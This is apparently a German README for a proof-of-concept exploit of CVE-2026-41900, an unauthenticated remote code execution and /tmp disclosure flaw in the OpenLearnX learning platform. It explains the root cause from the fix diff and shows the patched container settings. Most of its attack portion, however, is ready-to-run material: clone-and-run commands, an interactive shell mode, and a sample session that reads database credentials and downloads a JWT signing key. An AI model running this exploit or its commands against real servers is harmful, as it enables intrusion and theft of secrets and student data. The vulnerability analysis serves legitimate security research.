Proof-of-Concept-Exploit für CVE-2026-41900, eine nicht authentifizierte Remote-Codeausführung in OpenLearnX über einen Container-Volume-Mount, die die Offenlegung von /tmp und die Ausführung von Befehlen ermöglicht.
| Property | Value |
|---|
| Name | OpenLearnX-RCE |
| CVE | CVE-2026-41900 |
| GHSA | GHSA-8h25-q488-4hxw |
| Type | Unauthenticated Info Disclosure / RCE |
| Affected | OpenLearnX < commit 14765d7 |
| Fixed | Commit 14765d7 (real_compiler_service) |
| CVSS | 8.6 (High) |
| CWE | CWE-538, CWE-377, CWE-250 |
OSDC (meine automatisierte Patch-Intelligence-Pipeline) hat eine stille Sicherheitswarnung zu OpenLearnX markiert — GHSA-8h25-q488-4hxw wurde ohne technische Details veröffentlicht. Ich habe den Fix-Commit (14765d7) gezogen und ihn gegen seinen Parent (d19c4e4) diffed.
Der Diff erzählte die ganze Geschichte: execute_in_container() in backend/routes/coding.py wurde ausgeschlachtet und durch einen gehärteten real_compiler_service ersetzt. Der alte Code schrieb benutzergelieferten Code in eine Tempdatei und mountete dann os.path.dirname(temp_file) — was zu /tmp auflöst — als Read-only-Volume in einen Schwester-Docker-Container. Kein user=, kein cap_drop, kein security_opt. Standardmäßig Root.
Der Clou: Das compiler-Blueprint unter /api/compiler/execute hat keinen Authentifizierungs-Decorator. Jede unauthentifizierte Anfrage kann Codeausführung über das verwundbare Container-Setup auslösen.
Ich habe den Pre-Patch-Code in einem lokalen Labor isoliert, alle Vektoren bestätigt und diesen PoC geschrieben.
POST /api/compiler/execute (keine Auth)
│
▼
execute_in_container(user_code)
│
├─ tempfile.NamedTemporaryFile(suffix='.py') → /tmp/tmpXXXXXX.py
│
├─ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
│ │
│ └─ löst zu /tmp auf → GESAMTES /tmp in Container gemountet
│
├─ Kein user= → läuft als Root (UID 0)
├─ Kein cap_drop → Standard-Docker-Capabilities
├─ Kein security_opt → Standard-seccomp-Profil
│
└─ Angreifer liest: Secrets, Credentials, JWT-Keys, Einreichungen anderer Benutzer
| Gadget | Severity | CWE | Description |
|---|---|---|---|
listing | HIGH | CWE-538 | Verzeichnisliste von /tmp über Volume-Mount |
secrets | CRITICAL | CWE-538 | Credentials, Keys, Konfigurationen aus /tmp lesen |
submissions | HIGH | CWE-538 | Code-Einreichungen anderer Studenten lesen |
rootcheck | MEDIUM | CWE-250 | UID 0 (Root)-Ausführung bestätigen |
caps | MEDIUM | CWE-250 | Effektive Linux-Capabilities ausgeben |
git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# Keine Abhängigkeiten — nur stdlib
chmod +x exploit.py
# Prüfen, ob ein Ziel verwundbar ist
python3 exploit.py --check http://target:5000
# Alle Gadgets ausführen + Beweis-JSON generieren
python3 exploit.py --exploit http://target:5000
# Einzelnen Befehl ausführen
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000
# In interaktive Shell wechseln
python3 exploit.py --shell http://target:5000
# Bestimmte Gadgets ausführen
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000
Sobald du in --shell bist, erhältst du eine pseudo-interaktive Shell. Jeder Befehl startet einen neuen ephemeren Container.
root@container:/app# id
uid=0(root) gid=0(root)
root@container:/app# ls -la /app/
total 28
-rw-r--r-- 1 root root 121 May 6 openlearnx_db_creds.conf
-rw-r--r-- 1 root root 235 May 6 jwt_signing_key.pem
-rw-r--r-- 1 root root 298 May 6 student_submission_8842.py
root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:[email protected]:27017/openlearnx
root@container:/app# download jwt_signing_key.pem
[+] Downloaded jwt_signing_key.pem (235B)
root@container:/app# exit
Zur lokalen Reproduktion:
cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000
Das Labor stellt eine containerisierte Flask-App bereit, die das Pre-Patch-execute_in_container() reproduziert, mit:
/tmp zwischen Host und App-Container geteiltCommit 14765d7 ersetzte execute_in_container() durch real_compiler_service, das Folgendes anwendet:
container = docker_client.containers.run(
image,
volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}}, # isoliertes tmpdir pro Ausführung
cap_drop=["ALL"], # alle Capabilities entfernen
security_opt=["no-new-privileges:true"], # Privilegien-Eskalation verhindern
user="65534:65534", # nobody, nicht root
...
)
| Datum | Ereignis |
|---|---|
| 2026-04 | OSDC markiert stille Sicherheitswarnung GHSA-8h25-q488-4hxw |
| 2026-04 | Diff-Analyse von Commit 14765d7 vs. Parent d19c4e4 |
| 2026-05 | Labor-Reproduktion und PoC-Entwicklung |
| 2026-05-06 | Vollständiger PoC bestätigt — alle 5 Vektoren validiert |
Dieses Tool wird nur für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Verwende es nur gegen Systeme, die dir gehören oder für die du eine ausdrückliche schriftliche Erlaubnis zum Testen hast. Unautorisierter Zugriff auf Computersysteme ist illegal.
Christbowel · christbowel.com · Balgo Security Team